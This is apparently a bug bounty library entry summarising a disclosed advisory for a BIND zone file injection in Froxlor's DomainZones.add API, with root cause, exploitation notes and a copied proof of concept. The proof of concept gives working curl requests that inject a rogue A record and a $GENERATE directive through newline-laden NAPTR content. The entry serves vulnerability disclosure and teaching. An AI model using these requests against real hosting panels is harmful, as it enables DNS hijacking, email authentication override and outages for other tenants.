# Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Froxlor's DomainZones::add() skips validation for unlisted DNS types, letting an authenticated customer inject newline-separated records and BIND directives into zone files.

- Payout: Research
- Severity: high
- Program: Froxlor
- Found by: offset
- Disclosed: 2026-04-16
- CVE: CVE-2026-41230
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-47hf-23pw-3m8c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-47hf-23pw-3m8c
- Tags: area:cloud domain:infra domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:crlf-injection vuln:misconfiguration

**Target:** DomainZones.add API endpoint / BIND zone file generator
**Root cause:** The type parameter is taken raw with no whitelist, so any type outside the 13-type if/elseif chain bypasses content validation entirely; content only gets trim(), which preserves embedded newlines that DnsEntry::__toString() writes verbatim into zone files.
**Steps:**
1. POST to `/api.php` with `command=DomainZones.add`, `type=NAPTR`, and content containing `\n`-separated lines, e.g. `100 10 "" "" "" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 "" "" "" .`
2. Record is stored in `domain_dns` table; DNS cron builds DnsEntry objects and writes zone file via `Bind.php:121`
3. Inspect `/etc/bind/domains/example.com.zone` — injected `@ 300 IN A 1.2.3.4` appears as an independent record
4. Inject directives similarly: content `100 10 "" "" "" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.`
**How found:** Code review of the API command: noticed the TODO at line 148 about missing content validation, the if/elseif chain covering only 13 types, and that trim() at line 154 leaves embedded newlines that flow unsanitized into DnsEntry::__toString().
**Exploitation:** An authenticated customer with DNS editing submits a record of an unvalidated type (NAPTR/PTR/HINFO) whose content embeds newlines; after the DNS cron rebuilds zones, BIND parses the injected lines as independent records or directives, allowing traffic redirection, SPF/DKIM/DMARC override, $INCLUDE/$ORIGIN/$GENERATE injection, or zone load failure.
**Escalation:** Multi-tenant shared hosting: a single malicious customer can disrupt the shared DNS server or override email auth for their domain; $INCLUDE attempts local file inclusion.
**Insight:** When an API validates a field only inside a per-type if/elseif chain, any type outside the chain is a validation bypass — enumerate the accepted enum server-side and check whether the sink (here zone-file serialization) escapes newlines, since trim() does not.

## Proof of concept (copied exactly from the original report)

**API request injecting $GENERATE directive**

```
curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
    }
  }'

Expected: HTTP 200 with success response. The record is stored in the database.

**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**

# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns

**Step 3: Inspect the generated zone file**

cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@    18000    IN    NAPTR    100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .

The line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

**Step 4: Verify BIND directive injection**

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
    }
  }'
```

